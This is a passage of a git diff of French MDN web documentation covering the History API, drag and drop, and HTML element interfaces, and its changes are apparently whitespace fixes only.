[`const`](/en/JavaScript/Reference/Statements/const) sera défini par ECMAScript 6, mais avec une sémantique différente. Proches des variables déclarées avec l'instruction [`let`](/en/JavaScript/Reference/Statements/let), les constantes déclarées avec [`const`](/en/JavaScript/Reference/Statements/const) seront limitées en portée. **Nous ne l'avons utilisé que pour des raisons pédagogiques, si vous souhaitez une compatibilité maximale de ce code, merci de remplacer les références à** **[`const`](/en/JavaScript/Reference/Statements/const) par des instructions [`var`](/en/JavaScript/Reference/Statements/var).** -Pour plus d'informations, voyez : [Manipuler l'historique du navigateur](/fr/docs/DOM/manipuler_lhistorique_du_navigateur). +Pour plus d'informations, voyez : [Manipuler l'historique du navigateur](/fr/docs/DOM/manipuler_lhistorique_du_navigateur). ## Lire également diff --git a/files/fr/web/api/history_api/index.md b/files/fr/web/api/history_api/index.md index c829ef21fa..c41c73ac24 100644 --- a/files/fr/web/api/history_api/index.md +++ b/files/fr/web/api/history_api/index.md @@ -54,7 +54,7 @@ Vous pouvez déterminer le nombre de pages de l'historique en accédant à la va var numberOfEntries = window.history.length; ``` -> **Note :** Internet Explorer supporte le passage d'une URL sous forme de chaîne de caractères comme paramètre de la méthode `go()`; ce comportement est non standard et non supporté par Gecko. +> **Note :** Internet Explorer supporte le passage d'une URL sous forme de chaîne de caractères comme paramètre de la méthode `go()`; ce comportement est non standard et non supporté par Gecko. ## Ajouter et modifier des entrées de l'historique @@ -62,7 +62,7 @@ var numberOfEntries = window.history.length; HTML5 a introduit les méthodes [history.pushState()](</fr/docs/Web/Guide/DOM/Manipuler_historique_du_navigateur#La_méthode_pushState()>) et [history.replaceState()](</fr/docs/Web/Guide/DOM/Manipuler_historique_du_navigateur#La_méthode_replaceState()>), qui permettent, respectivement, d'ajouter et de modifier des entrées de l'historique. Ces méthodes fonctionnent conjointement avec l'événement [onpopstate](/fr/docs/Web/API/WindowEventHandlers/onpopstate). -L'utilisation de `history.pushState()` change le référent créé habituellement dans l'en-tête HTTP pour les objets [`XMLHttpRequest`](/en/DOM/XMLHttpRequest), chaque fois que son état a été changé. Le référent sera l'URL de la page dont l'objet window est `this` au moment de la création de l'objet [`XMLHttpRequest`](/en/DOM/XMLHttpRequest). +L'utilisation de `history.pushState()` change le référent créé habituellement dans l'en-tête HTTP pour les objets [`XMLHttpRequest`](/en/DOM/XMLHttpRequest), chaque fois que son état a été changé. Le référent sera l'URL de la page dont l'objet window est `this` au moment de la création de l'objet [`XMLHttpRequest`](/en/DOM/XMLHttpRequest). ### Exemple de la méthode pushState() @@ -75,7 +75,7 @@ history.pushState(stateObj, "page 2", "bar.html"); Cela va provoquer l'apparition dans la barre de navigation de http\://mozilla.org/bar.html, mais ne provoquera pas le chargement effectif de `bar.html` ni même le test d'existence de `bar.html`. -Supposons à présent que l'utilisateur accède à la page http\://google.com, puis clique sur l'icône "Recul". La barre de navigation va alors afficher http\://mozilla.org/bar.html, et si vous lisez l'`history.state`, vous obtiendrez le `stateObj`. L'événement `popstate` ne sera pas lancé car la page a été rechargée. La page elle-même ressemblera à `bar.html`. +Supposons à présent que l'utilisateur accède à la page http\://google.com, puis clique sur l'icône "Recul". La barre de navigation va alors afficher http\://mozilla.org/bar.html, et si vous lisez l'`history.state`, vous obtiendrez le `stateObj`. L'événement `popstate` ne sera pas lancé car la page a été rechargée. La page elle-même ressemblera à `bar.html`. Si on clique à nouveau sur Recul, l'URL de la barre de navigation va se changer en http\://mozilla.org/foo.html et le document va recevoir un autre événement `popstate`, qui comportera, cette fois, un état null. Dans ce cas aussi, revenir en arrière ne modifie pas le contenu du document par rapport à ce qu'il était à l'étape précédente, cela bien qu'il ait pu être mis à jour manuellement sur réception de l'événement `popstate`. @@ -92,7 +92,7 @@ Si on clique à nouveau sur Recul, l'URL de la barre de navigation va se changer On peut assimiler l'appel à `pushState()` à l'affectation `window.location = "#foo"`, en cela que l'un comme l'autre auront pour effet de créer et déclencher une autre entrée de l'historique associée au document courant. Mais `pushState()` a quelques avantages : -- La nouvelle URL peut être quelconque pourvu qu'elle ait la même origine que l'URL courante. En revanche, affecter `window.location` vous maintient au même {{ domxref("document") }} seulement si vous modifiez uniquement le hash. +- La nouvelle URL peut être quelconque pourvu qu'elle ait la même origine que l'URL courante. En revanche, affecter `window.location` vous maintient au même {{ domxref("document") }} seulement si vous modifiez uniquement le hash. - Vous n'êtes pas contraint de modifier l'URL si vous ne le voulez pas. Par contre, affecter `window.location = "#foo";` crée une nouvelle entrée de l'historique seulement si le hash courant n'est pas `#foo`. - Vous pouvez associer des données quelconques avec votre nouvelle entrée de l'historique. Avec l'approche basée sur le hash, il est nécessaire de coder toute donnée pertinente en une chaîne courte. @@ -137,7 +137,7 @@ Voir {{ domxref("window.onpopstate") }} pour un exemple d'utilisation. ### Lire l'état courant -Quand votre page est chargée, il se pourrait qu'elle ait un objet état non nul. Cela peut se produire, par exemple, si la page fixe un objet état (avec `pushState()` ou `replaceState()`) et qu'ensuite l'utilisateur redémarre le navigateur. Quand votre page sera rechargée, elle recevra l'événement onload , mais pas l'événement popstate. Néanmoins, si vous lisez la propriété history.state, vous récupèrerez l'objet état que vous auriez obtenu si un événement popstate avait été déclenché. +Quand votre page est chargée, il se pourrait qu'elle ait un objet état non nul. Cela peut se produire, par exemple, si la page fixe un objet état (avec `pushState()` ou `replaceState()`) et qu'ensuite l'utilisateur redémarre le navigateur. Quand votre page sera rechargée, elle recevra l'événement onload , mais pas l'événement popstate. Néanmoins, si vous lisez la propriété history.state, vous récupèrerez l'objet état que vous auriez obtenu si un événement popstate avait été déclenché. Vous pouvez lire l'état de l'entrée courante de l'historique sans devoir attendre un événement `popstate` en utilisant la propriété `history.state` comme ceci : diff --git a/files/fr/web/api/html_drag_and_drop_api/drag_operations/index.md b/files/fr/web/api/html_drag_and_drop_api/drag_operations/index.md index 81c6ed2503..47a39ee34d 100644 --- a/files/fr/web/api/html_drag_and_drop_api/drag_operations/index.md +++ b/files/fr/web/api/html_drag_and_drop_api/drag_operations/index.md @@ -14,13 +14,13 @@ Dans une page Web, certains cas nécessitent l'usage du Glisser Déposer. Il peu En HTML, excepté le comportement par défaut des images, des liens et des sélections, aucun autre élément ne peut être glissé. Tous les éléments XUL peuvent être glissés. -Pour rendre un autre élément HTML glissable, deux choses doivent être faites : +Pour rendre un autre élément HTML glissable, deux choses doivent être faites : - Définissez l'attribut `{{htmlattrxref("draggable")}}` à `true` sur l'élément que vous voulez rendre glissable. - Ajoutez un scrutateur sur l'événement `{{event("dragstart")}}` et définissez les données du glissement dans ce scrutateur. - {{domxref("DataTransfer.setData","Définir la donnée de glissement")}} au sein du scrutateur ajouté précédemment. -Voici un exemple qui permet à une section de contenu d'être glissée : +Voici un exemple qui permet à une section de contenu d'être glissée : <div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'Ce texte peut être glissé')"> Ce texte <strong>peut</strong> être glissé. @@ -44,7 +44,7 @@ Dans cet exemple, un scrutateur est ajouté à l'événement dragstart en utilis Ce texte <strong>peut</strong> être glissé. </div> -Lorsqu'un utilisateur commence un glissement, l'événement dragstart est déclenché. Dans cet exemple, le scrutateur dragstart a été ajouté à l'élément à déplacer lui-même. Vous pouvez toutefois mettre le scrutateur sur un ancètre plus élevé car l'événement drag diffuse comme le font les autres événements. À l'intérieur de l'événement dragstart, vous devez spécifier la donnée de glissement, l'image filligrane et les effets du glissement tels que décrits ci-dessous. Cependant, seule la donnée de glissement est nécessaire ; l'image et les effets du glissement par défaut sont suffisants pour la majorité des cas. +Lorsqu'un utilisateur commence un glissement, l'événement dragstart est déclenché. Dans cet exemple, le scrutateur dragstart a été ajouté à l'élément à déplacer lui-même. Vous pouvez toutefois mettre le scrutateur sur un ancètre plus élevé car l'événement drag diffuse comme le font les autres événements. À l'intérieur de l'événement dragstart, vous devez spécifier la donnée de glissement, l'image filligrane et les effets du glissement tels que décrits ci-dessous. Cependant, seule la donnée de glissement est nécessaire ; l'image et les effets du glissement par défaut sont suffisants pour la majorité des cas. ## Donnée de glissement @@ -52,13 +52,13 @@ Tous les événements de glissement ont une propriété appelée [dataTransfer]( Lorsqu'un glissement a lieu, une donnée doit être associée au glissement pour identifier ce qui est en train de glisser. Par exemple, lors du glissement d'un texte sélectionné dans un champs de texte, la donnée associée au glissement est le texte lui-même. De même, lors du glissement d'un lien, la donnée associée est l'URL du lien. -La donnée de glissement contient deux informations : son type ou format et sa valeur. Le format est une chaîne de caractère (telle que [text/plain](/Fr/GlisserD%C3%A9poser/Types_de_glissement_recommand%C3%A9s#text) pour un texte), et la valeur est un texte. Lorsqu'un glissement démarre, vous devez lui ajouter en fournissant un type et la donnée. Dans les scrutateurs des événements `dragenter` et `dragover` au cours d'un glissement, vous pouvez vérifier les types de données et indiquer si un dépôt est permis ou non. Par exemple, une cible de dépôt qui accepte que des liens testera les types lien [text/uri-list](/Fr/GlisserD%C3%A9poser/Types_de_glissement_recommand%C3%A9s#link). Pendant un évément de dépôt, un scrutateur récupèrera la donnée glissée et l'insèrera dans la zone de dépôt. +La donnée de glissement contient deux informations : son type ou format et sa valeur. Le format est une chaîne de caractère (telle que [text/plain](/Fr/GlisserD%C3%A9poser/Types_de_glissement_recommand%C3%A9s#text) pour un texte), et la valeur est un texte. Lorsqu'un glissement démarre, vous devez lui ajouter en fournissant un type et la donnée. Dans les scrutateurs des événements `dragenter` et `dragover` au cours d'un glissement, vous pouvez vérifier les types de données et indiquer si un dépôt est permis ou non. Par exemple, une cible de dépôt qui accepte que des liens testera les types lien [text/uri-list](/Fr/GlisserD%C3%A9poser/Types_de_glissement_recommand%C3%A9s#link). Pendant un évément de dépôt, un scrutateur récupèrera la donnée glissée et l'insèrera dans la zone de dépôt. Les types MIME habituels sont [text/plain](/Fr/GlisserD%C3%A9poser/Types_de_glissement_recommand%C3%A9s#text) ou [image/jpeg](/Fr/GlisserD%C3%A9poser/Types_de_glissement_recommand%C3%A9s#image), mais vous pouvez créer vos propres types. La liste des types les plus utilisés est disponible sur [cette page](/Fr/GlisserD%C3%A9poser/Types_de_glissement). Un glissement peut fournir une donnée dans différents types. Ceci permet à une donnée d'être disponible dans des types spécifiques, souvent personnalisés, toujours en fournissant un format pour les cibles ne supportant pas ces types spécifiques. Habituellement, il s'agit toujours d'une version textuelle de type [text/plain](/Fr/GlisserD%C3%A9poser/Types_de_glissement_recommand%C3%A9s#text). La donnée n'en sera qu'une représentation sous la forme d'un texte. -Pour définir une donnée dans un dataTransfer, utilisez la méthode [setData](/Fr/GlisserD%C3%A9poser/DataTransfer#setData). Elle prend deux arguments qui sont le type de la donnée et sa valeur. Par exemple : +Pour définir une donnée dans un dataTransfer, utilisez la méthode [setData](/Fr/GlisserD%C3%A9poser/DataTransfer#setData). Elle prend deux arguments qui sont le type de la donnée et sa valeur. Par exemple : event.dataTransfer.setData("text/plain", "Texte à glisser"); @@ -89,7 +89,7 @@ Lorsqu'un glissement a lieu, une image translucide est générée à partir de l event.dataTransfer.setDragImage(image, xOffset, yOffset); -Trois arguments sont nécessaires. Le premier est la référence à une image. Cette référence pointera en gérénal vers un élément image, mais elle peut pointer aussi vers un canvas ou vers tous autres éléments. L'image filigrane sera simplement générée telle qu'elle ressemble à l'écran, et dessinée à sa taille d'origine. Il est également possible d'utiliser des images et des canvas qui ne sont pas dans un document, comme le montre cet exemple : +Trois arguments sont nécessaires. Le premier est la référence à une image. Cette référence pointera en gérénal vers un élément image, mais elle peut pointer aussi vers un canvas ou vers tous autres éléments. L'image filigrane sera simplement générée telle qu'elle ressemble à l'écran, et dessinée à sa taille d'origine. Il est également possible d'utiliser des images et des canvas qui ne sont pas dans un document, comme le montre cet exemple : function dragWithCustomImage(event) { @@ -121,7 +121,7 @@ Vous pouvez spécifier laquelle de ces trois opérations sera autorisée au nive event.dataTransfer.effectAllowed = "copy"; -Dans cet exemple, seule une copie n'est autorisée. Vous pouvez combiner les valeurs de plusieurs façons : +Dans cet exemple, seule une copie n'est autorisée. Vous pouvez combiner les valeurs de plusieurs façons : - none - : Aucune opération permise @@ -183,15 +183,15 @@ Vous pouvez également définir une propriété [effectAllowed](/fr/GlisserD%C3% ## Retour d'information du dépôt -Il y a de nombreuses manières d'indiquer à l'utilisateur que le dépot est autorisé dans une certaine zone. Le pointeur de la souris va être mis à jour en fonction de la valeur de la propriété [dropEffect](/En/DragDrop/DataTransfer#dropEffect.28.29). L'apparence exacte dépend de la plateforme de l'utilisateur, généralement il s'agit d'un icone représentant un signe plus qui apparaît pour une copie par exemple, et un 'impossible de déposer ici' peut apparaître quand le dépôt n'est pas autorisé. Cette information contextuelle est suffisante dans la plupart des cas. +Il y a de nombreuses manières d'indiquer à l'utilisateur que le dépot est autorisé dans une certaine zone. Le pointeur de la souris va être mis à jour en fonction de la valeur de la propriété [dropEffect](/En/DragDrop/DataTransfer#dropEffect.28.29). L'apparence exacte dépend de la plateforme de l'utilisateur, généralement il s'agit d'un icone représentant un signe plus qui apparaît pour une copie par exemple, et un 'impossible de déposer ici' peut apparaître quand le dépôt n'est pas autorisé. Cette information contextuelle est suffisante dans la plupart des cas. -De plus, vous pouvez aussi mettre à jour l'interface utilisateur en surlignant au besoin. Pour un simple surlignage, vous pouvez utiliser la pseudo-classe `-moz-drag-over`sur la cible du dépôt. +De plus, vous pouvez aussi mettre à jour l'interface utilisateur en surlignant au besoin. Pour un simple surlignage, vous pouvez utiliser la pseudo-classe `-moz-drag-over`sur la cible du dépôt. .droparea:-moz-drag-over { border: 1px solid black; } -Dans cet example, l'élement comportant la classe `droparea` va recevoir un bord noir de un pixel tant que la cible sera valide, ce qui est le cas, si la méthode [event.preventDefault](/en/DOM/event.preventDefault) est appelé durant l'évenement `dragenter`. Il est à noter que vous devez annuler l'évenement `dragenter` de cette pseudo-classe tant que l'état n'est pas verifié par l'évenement `dragover`. +Dans cet example, l'élement comportant la classe `droparea` va recevoir un bord noir de un pixel tant que la cible sera valide, ce qui est le cas, si la méthode [event.preventDefault](/en/DOM/event.preventDefault) est appelé durant l'évenement `dragenter`. Il est à noter que vous devez annuler l'évenement `dragenter` de cette pseudo-classe tant que l'état n'est pas verifié par l'évenement `dragover`. For more complex visual effects, you can also perform other operations during the `dragenter` event, for example, by inserting an element at the location where the drop will occur. For example, this might be an insertion marker or an element that represents the dragged element in its new location. To do this, you could create an [image](/en/XUL/image) or [separator](/en/XUL/separator) element for example, and simply insert it into the document during the `dragenter` event. diff --git a/files/fr/web/api/html_drag_and_drop_api/index.md b/files/fr/web/api/html_drag_and_drop_api/index.md index 3fbbe9166e..1464203ab7 100644 --- a/files/fr/web/api/html_drag_and_drop_api/index.md +++ b/files/fr/web/api/html_drag_and_drop_api/index.md @@ -56,7 +56,7 @@ Les objets {{domxref("DataTransfer")}} incluent l'état du glisser-déposer, le Les interfaces {{domxref("DragEvent")}} et {{domxref("DataTransfer")}} sont standard et suffisent à apporter des fonctionnalités de glisser/déposer. Toutefois, Firefox prend en charge quelques extensions spécifiques à Gecko (cf. ci-après) pour l'objet {{domxref("DataTransfer")}} (bien entendu, ces extensions ne fonctionneront que dans Firefox et pas dans les autres navigateurs). -Chaque objet {{domxref("DataTransfer")}} possède une propriété {{domxref("DataTransfer.items","items")}} qui est une liste ({{domxref("DataTransferItemList","list")}}) d'objets {{domxref("DataTransferItem")}}. Un objet {{domxref("DataTransferItem")}} représente un seul objet déplacé, avec une propriété {{domxref("DataTransferItem.kind","kind")}} qui indique s'il s'agit d'un texte (`string`) ou d'un fichier (`file`) et une propriété {{domxref("DataTransferItem.type","type")}} qui correspond au type MIME de la donnée déplacée. L'objet {{domxref("DataTransferItem")}} possède également des méthodes pour consulter les données de l'objet déplacé. +Chaque objet {{domxref("DataTransfer")}} possède une propriété {{domxref("DataTransfer.items","items")}} qui est une liste ({{domxref("DataTransferItemList","list")}}) d'objets {{domxref("DataTransferItem")}}. Un objet {{domxref("DataTransferItem")}} représente un seul objet déplacé, avec une propriété {{domxref("DataTransferItem.kind","kind")}} qui indique s'il s'agit d'un texte (`string`) ou d'un fichier (`file`) et une propriété {{domxref("DataTransferItem.type","type")}} qui correspond au type MIME de la donnée déplacée. L'objet {{domxref("DataTransferItem")}} possède également des méthodes pour consulter les données de l'objet déplacé. L'objet {{domxref("DataTransferItemList")}} est une liste d'objets {{domxref("DataTransferItem")}}. La liste possède des méthodes pour ajouter un objet en déplacement à la liste, pour retirer un objet de la liste ou pour vider la liste de tout ses objets. @@ -93,7 +93,7 @@ Voir [la page de référence sur l'attribut `draggable`](/fr/docs/Web/HTML/Globa Une application peut inclure plusieurs objets dans une opération de glisser/déposer. Chaque objet est une chaîne de caractères ({{domxref("DOMString")}}) ayant un type MIME particulier (indiqué par son attribut `type`) tel que `text/html`. -Chaque {{domxref("DragEvent")}} possède une propriété {{domxref("DragEvent.dataTransfer","dataTransfer")}} contenant les données transportées. Cette propriété (un objet {{domxref("DataTransfer")}}) possède des méthodes pour gérer les données transportées. La méthode {{domxref("DataTransfer.setData","setData()")}} permet d'ajouter un objet aux données transportées : +Chaque {{domxref("DragEvent")}} possède une propriété {{domxref("DragEvent.dataTransfer","dataTransfer")}} contenant les données transportées. Cette propriété (un objet {{domxref("DataTransfer")}}) possède des méthodes pour gérer les données transportées. La méthode {{domxref("DataTransfer.setData","setData()")}} permet d'ajouter un objet aux données transportées : ```js function dragstart_handler(ev) { diff --git a/files/fr/web/api/htmlbodyelement/index.md b/files/fr/web/api/htmlbodyelement/index.md index cc77e6c2b5..43e03fefd6 100644 --- a/files/fr/web/api/htmlbodyelement/index.md +++ b/files/fr/web/api/htmlbodyelement/index.md @@ -71,7 +71,7 @@ _Pas de gestionnaire d'événement spécifique; gestionnaires d'événements hé | Specification | Status | Comment | | ------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | {{SpecName('HTML WHATWG', "sections.html#the-body-element", "HTMLBodyElement")}} | {{Spec2('HTML WHATWG')}} | Techniquement, les propriétés liées à l'événement, `onafterprint`, `onbeforeprint`, `onbeforeunload`, `onblur`, `onerror`, `onfocus`, `onhashchange`, `onlanguagechange`, `onload`, `onmessage`, `onoffline`, `ononline`, `onpopstate`, `onresize`, `onstorage` et `onunload`, ont été passées à {{domxref("WindowEventHandlers")}}, et `HTMLBodyElement` implémentant cette interface. | -| {{SpecName('HTML5.1', "sections.html#the-body-element", "HTMLBodyElement")}} | {{Spec2('HTML5.1')}} | | +| {{SpecName('HTML5.1', "sections.html#the-body-element", "HTMLBodyElement")}} | {{Spec2('HTML5.1')}} | | | {{SpecName('HTML5 W3C', "sections.html#the-body-element", "HTMLBodyElement")}} | {{Spec2('HTML5 W3C')}} | Les propriétés suivantes sont désormais obsolètes: `aLink`, `bgColor`, `background`, `link`, `text` Les propriétés suivantes ont été ajoutées:. `vLink`, `onafterprint`, `onbeforeprint`, `onbeforeunload`, `onblur`, `onerror`, `onfocus`, `onhashchange`, `onload`, `onmessage`, `onoffline`, `ononline`, `onpopstate`, `onresize`, et `onstorage`. | | {{SpecName('DOM2 HTML', 'html.html#ID-62018039', 'HTMLBodyElement')}} | {{Spec2('DOM2 HTML')}} | Ne change pas de {{SpecName("DOM1")}}. | | {{SpecName('DOM1', 'level-one-html.html#ID-62018039', 'HTMLBodyElement')}} | {{Spec2('DOM1')}} | Définition initiale. | diff --git a/files/fr/web/api/htmlbrelement/index.md b/files/fr/web/api/htmlbrelement/index.md index cb0d0fbc79..b0124d9055 100644 --- a/files/fr/web/api/htmlbrelement/index.md +++ b/files/fr/web/api/htmlbrelement/index.md @@ -16,7 +16,7 @@ _Hérite les propriétés de son parent : {{domxref("HTMLElement")}}._ | Nom | Type | Description | | -------------------------------- | -------------------------------- | ------------------------------------------------------ | -| `clear` {{obsolete_inline}} | {{domxref("DOMString")}} | Indique le flux du texte autours des objets flottants. | +| `clear` {{obsolete_inline}} | {{domxref("DOMString")}} | Indique le flux du texte autours des objets flottants. | ## Méthodes diff --git a/files/fr/web/api/htmlbuttonelement/index.md b/files/fr/web/api/htmlbuttonelement/index.md index 06bf2eb44a..040bdace07 100644 --- a/files/fr/web/api/htmlbuttonelement/index.md +++ b/files/fr/web/api/htmlbuttonelement/index.md @@ -11,13 +11,13 @@ translation_of: Web/API/HTMLButtonElement --- {{APIRef("HTML DOM")}} -L'interface **`HTMLButtonElement`** fournit des propriétés et des méthodes (au-delà de l'interface d'objet {{HTMLElement ("button")}} dont elle dispose également par héritage) pour manipuler la présentation et la présentation des éléments de bouton. +L'interface **`HTMLButtonElement`** fournit des propriétés et des méthodes (au-delà de l'interface d'objet {{HTMLElement ("button")}} dont elle dispose également par héritage) pour manipuler la présentation et la présentation des éléments de bouton. {{InheritanceDiagram(600, 120)}} ## Propriétés -Hérite des propriétés de son parent, *{{domxref("HTMLElement")}}.* +Hérite des propriétés de son parent, *{{domxref("HTMLElement")}}.* - {{domxref("HTMLButtonElement.accessKey")}} - : Est un {{domxref ("DOMString")}} indiquant la touche de clavier à caractère unique permettant d'accéder au bouton. @@ -45,7 +45,7 @@ Hérite des propriétés de son parent, *{{domxref("HTMLElement")}}.* - {{domxref("HTMLButtonElement.name")}} - : Est un {{domxref ("DOMString")}} représentant le nom de l'objet lorsqu'il est soumis avec un formulaire. {{HTMLVersionInline (5)}} Si spécifié, il ne doit pas s'agir d'une chaîne vide. - {{domxref("HTMLButtonElement.tabIndex")}} - - : Est un `long` qui représente la position de cet élément dans l'ordre de tabulation . + - : Est un `long` qui représente la position de cet élément dans l'ordre de tabulation . - {{domxref("HTMLButtonElement.type")}} - : : Est un {{domxref ("DOMString")}} indiquant le comportement du bouton. C'est un attribut énuméré avec les valeurs possibles suivantes: @@ -62,7 +62,7 @@ Hérite des propriétés de son parent, *{{domxref("HTMLElement")}}.* - {{domxref("HTMLButtonElement.value")}} - : Est un {{domxref ("DOMString")}} représentant la valeur de contrôle de formulaire actuelle du bouton. - {{domxref("HTMLButtonElement.willValidate")}} {{readonlyInline}} - - : Est un {{domxref ("Boolean")}} indiquant si le bouton est candidat à la validation de contrainte. Il est `false` si des conditions l'empêchent de valider la contrainte . + - : Est un {{domxref ("Boolean")}} indiquant si le bouton est candidat à la validation de contrainte. Il est `false` si des conditions l'empêchent de valider la contrainte . ## Les méthodes @@ -98,9 +98,9 @@ Avec un navigateur basé sur Gecko, utilisez la pseudo-classe {{cssxref (": - mo | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| {{SpecName('HTML WHATWG', "forms.html#the-button-element", "HTMLButtonElement")}} | {{Spec2('HTML WHATWG')}} | L'attribut suivant a été ajouté : `menu`. L'attribut `type` peut prendre une valeur supplémentaire , `"menu"`. | -| {{SpecName('HTML5 W3C', "forms.html#the-button-element", "HTMLButtonElement")}} | {{Spec2('HTML5 W3C')}} | Les attributs `tabindex` et `accesskey`, sont maintenant définis sur {{domxref("HTMLElement")}}. Les attributs suivants ont été ajoutés : `autofocus`, `formAction`, `formEnctype`, `formMethod`, `formNoValidate`, `formTarget`, `labels`, `validity`, `validationMessage`, and `willValidate`. Les méthodes suivantes ont été ajoutées : `checkValidity()`, `setCustomValidity()`. The `type` attribute is no more read-only. | -| {{SpecName('DOM2 HTML', 'html.html#ID-34812697', 'HTMLButtonElement')}} | {{Spec2('DOM2 HTML')}} | Aucun changement de {{SpecName("DOM1")}}. | +| {{SpecName('HTML WHATWG', "forms.html#the-button-element", "HTMLButtonElement")}} | {{Spec2('HTML WHATWG')}} | L'attribut suivant a été ajouté : `menu`. L'attribut `type` peut prendre une valeur supplémentaire , `"menu"`. | +| {{SpecName('HTML5 W3C', "forms.html#the-button-element", "HTMLButtonElement")}} | {{Spec2('HTML5 W3C')}} | Les attributs `tabindex` et `accesskey`, sont maintenant définis sur {{domxref("HTMLElement")}}. Les attributs suivants ont été ajoutés : `autofocus`, `formAction`, `formEnctype`, `formMethod`, `formNoValidate`, `formTarget`, `labels`, `validity`, `validationMessage`, and `willValidate`. Les méthodes suivantes ont été ajoutées : `checkValidity()`, `setCustomValidity()`. The `type` attribute is no more read-only. | +| {{SpecName('DOM2 HTML', 'html.html#ID-34812697', 'HTMLButtonElement')}} | {{Spec2('DOM2 HTML')}} | Aucun changement de {{SpecName("DOM1")}}. | | {{SpecName('DOM1', 'level-one-html.html#ID-34812697', 'HTMLButtonElement')}} | {{Spec2('DOM1')}} | . Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/htmlcanvaselement/getcontext/index.md b/files/fr/web/api/htmlcanvaselement/getcontext/index.md index 3f61afbe7c..77920ac0c8 100644 --- a/files/fr/web/api/htmlcanvaselement/getcontext/index.md +++ b/files/fr/web/api/htmlcanvaselement/getcontext/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/HTMLCanvasElement/getContext --- {{APIRef("Canvas API")}} -La méthode **`HTMLCanvasElement.getContext()`** retourne un contexte de dessin sur le canevas, ou {{jsxref("null")}} si l'identificateur de contexte n'est pas supporté. +La méthode **`HTMLCanvasElement.getContext()`** retourne un contexte de dessin sur le canevas, ou {{jsxref("null")}} si l'identificateur de contexte n'est pas supporté. ## Syntaxe @@ -21,18 +21,18 @@ La méthode **`HTMLCanvasElement.getContext()`** retourne un contexte de dess - typeDeContexte - - : Est un {{domxref("DOMString")}} contenant l'identifcateur de contexte définissant le contexte de dessin associé au canevas. Les valeurs possibles sont : + - : Est un {{domxref("DOMString")}} contenant l'identifcateur de contexte définissant le contexte de dessin associé au canevas. Les valeurs possibles sont : - - `"2d`", conduisant à la création d'un objet {{domxref("CanvasRenderingContext2D")}} représentant un contexte de représentation bi-dimensionnel. - - `"webgl"` (ou `"experimental-webgl"`) pour créer un objet {{domxref("WebGLRenderingContext")}} représentant un contexte de représentation tri-dimensionnel. Ce contexte est seulement disponible sur les navigateurs implémentant la version 1 de [WebGL](/en-US/docs/Web/WebGL) (OpenGL ES 2.0). - - "`webgl2`" pour créer un objet {{domxref("WebGL2RenderingContext")}} représentant un contexte de représentation tri-dimensionnel. Ce contexte est seulement disponible sur les navigateurs implémentant la version 2 de [WebGL](/en-US/docs/Web/WebGL) (OpenGL ES 3.0). {{experimental_inline}}. - - `"bitmaprenderer"` pour créer un {{domxref("ImageBitmapRenderingContext")}} ne fournissant que la fonctionnalité de remplacement du contenu du canevas par une {{domxref("ImageBitmap")}} donnée. + - `"2d`", conduisant à la création d'un objet {{domxref("CanvasRenderingContext2D")}} représentant un contexte de représentation bi-dimensionnel. + - `"webgl"` (ou `"experimental-webgl"`) pour créer un objet {{domxref("WebGLRenderingContext")}} représentant un contexte de représentation tri-dimensionnel. Ce contexte est seulement disponible sur les navigateurs implémentant la version 1 de [WebGL](/en-US/docs/Web/WebGL) (OpenGL ES 2.0). + - "`webgl2`" pour créer un objet {{domxref("WebGL2RenderingContext")}} représentant un contexte de représentation tri-dimensionnel. Ce contexte est seulement disponible sur les navigateurs implémentant la version 2 de [WebGL](/en-US/docs/Web/WebGL) (OpenGL ES 3.0). {{experimental_inline}}. + - `"bitmaprenderer"` pour créer un {{domxref("ImageBitmapRenderingContext")}} ne fournissant que la fonctionnalité de remplacement du contenu du canevas par une {{domxref("ImageBitmap")}} donnée. - Note : l'identificateur "`experimental-webgl`" est utilisé dans les nouvelles implémentations de WebGL. Ces implémentations n'ont pas encore obtenu la conformité à la suite de test, ou l'emploi des pilotes graphiques sur la plateforme n'est pas encore stable. Le [Khronos Group](https://www.khronos.org/) certifie les implémentations WebGL sous certaines [règles de conformité](https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt). + Note : l'identificateur "`experimental-webgl`" est utilisé dans les nouvelles implémentations de WebGL. Ces implémentations n'ont pas encore obtenu la conformité à la suite de test, ou l'emploi des pilotes graphiques sur la plateforme n'est pas encore stable. Le [Khronos Group](https://www.khronos.org/) certifie les implémentations WebGL sous certaines [règles de conformité](https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt). - `attributsDeContexte` - - : Vous pouvez utiliser plusieurs attributs de contexte quand vous créez votre contexte de représentation, par exemple : + - : Vous pouvez utiliser plusieurs attributs de contexte quand vous créez votre contexte de représentation, par exemple : ```js canvas.getContext('webgl', @@ -54,28 +54,28 @@ La méthode **`HTMLCanvasElement.getContext()`** retourne un contexte de dess - **`antialias`** : booléen indiquant si un anti-aliasing doit être effectué ou non. - **`premultipliedAlpha`** : booléen indiquant que le composeur de page supposera que le tampon de dessin contient des couleurs avec alpha pré-multiplié. - **`preserveDrawingBuffer`** : si la valeur est `true`, les tampons ne seront pas effacés et conserveront leurs valeurs jusqu'à ce qu'elles soient effacées ou réécrites par l'auteur. - - **`failIfMajorPerformanceCaveat`** : booléen indiquant qu'un contexte sera créé si la performance du système est faible. + - **`failIfMajorPerformanceCaveat`** : booléen indiquant qu'un contexte sera créé si la performance du système est faible. ### Valeur retournée : Un {{domxref("RenderingContext")}}, qui est soit un -- {{domxref("CanvasRenderingContext2D")}} pour `"2d"`, -- {{domxref("WebGLRenderingContext")}} pour `"webgl"` et `"experimental-webgl"`, -- {{domxref("WebGL2RenderingContext")}} pour `"webgl2"` ou -- {{domxref("ImageBitmapRenderingContext")}} pour `"bitmaprenderer"`. +- {{domxref("CanvasRenderingContext2D")}} pour `"2d"`, +- {{domxref("WebGLRenderingContext")}} pour `"webgl"` et `"experimental-webgl"`, +- {{domxref("WebGL2RenderingContext")}} pour `"webgl2"` ou +- {{domxref("ImageBitmapRenderingContext")}} pour `"bitmaprenderer"`. -Si le *typeDeContexte* ne correspond pas à un contexte de 